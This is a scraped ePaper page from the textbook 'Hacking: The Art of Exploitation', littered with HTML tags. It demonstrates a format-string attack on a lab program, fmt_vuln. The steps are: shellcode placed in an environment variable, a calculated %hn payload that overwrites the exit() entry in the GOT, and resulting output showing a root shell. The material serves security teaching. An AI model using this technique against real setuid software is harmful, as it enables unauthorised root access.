26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

once again for clarity. In <strong>the</strong> output below, <strong>the</strong> address <strong>of</strong> <strong>the</strong> shellcode ()<br />

is written into <strong>the</strong> address <strong>of</strong> <strong>the</strong> exit() function ().<br />

reader@<strong>hacking</strong>:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln<br />

SHELLCODE will be at 0xbffff9ec<br />

reader@<strong>hacking</strong>:~/booksrc $ gdb -q<br />

(gdb) p 0xbfff - 8<br />

$1 = 49143<br />

(gdb) p 0xf9ec - 0xbfff<br />

$2 = 14829<br />

(gdb) quit<br />

reader@<strong>hacking</strong>:~/booksrc $ objdump -R ./fmt_vuln<br />

./fmt_vuln:<br />

file format elf32-i386<br />

<br />

DYNAMIC RELOCATION RECORDS<br />

OFFSET TYPE VALUE<br />

08049764 R_386_GLOB_DAT __gmon_st<strong>art</strong>__<br />

08049774 R_386_JUMP_SLOT __gmon_st<strong>art</strong>__<br />

08049778 R_386_JUMP_SLOT __libc_st<strong>art</strong>_main<br />

0804977c R_386_JUMP_SLOT strcpy<br />

08049780 R_386_JUMP_SLOT printf<br />

08049784 R_386_JUMP_SLOT exit<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(printf "\x86\x97\x04\x08\x84\x97\x04\<br />

x08")%49143x%4\$hn%14829x%5\$hn<br />

The right way to print user-controlled input:<br />

????%49143x%4$hn%14829x%5$hn<br />

The wrong way to print user-controlled input:<br />

????<br />

[*] test_val @ 0x08049794 = -72 0xffffffb8<br />

sh-3.2# whoami<br />

root<br />

sh-3.2#<br />

b7fe75fc<br />

When fmt_vuln.c tries to call <strong>the</strong> exit() function, <strong>the</strong> address <strong>of</strong> <strong>the</strong><br />

exit() function is looked up in <strong>the</strong> GOT and is jumped to via <strong>the</strong> PLT. Since<br />

<strong>the</strong> actual address has been switched with <strong>the</strong> address for <strong>the</strong> shellcode in <strong>the</strong><br />

environment, a root shell is spawned.<br />

Ano<strong>the</strong>r advantage <strong>of</strong> overwriting <strong>the</strong> GOT is that <strong>the</strong> GOT entries are<br />

fixed per binary, so a different system with <strong>the</strong> same binary will have <strong>the</strong> same<br />

GOT entry at <strong>the</strong> same address.<br />

The ability to overwrite any arbitrary address opens up many possibilities<br />

for <strong>exploitation</strong>. Basically, any section <strong>of</strong> memory that is writable and contains<br />

an address that directs <strong>the</strong> flow <strong>of</strong> program execution can be targeted.<br />

Exploitation 193

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!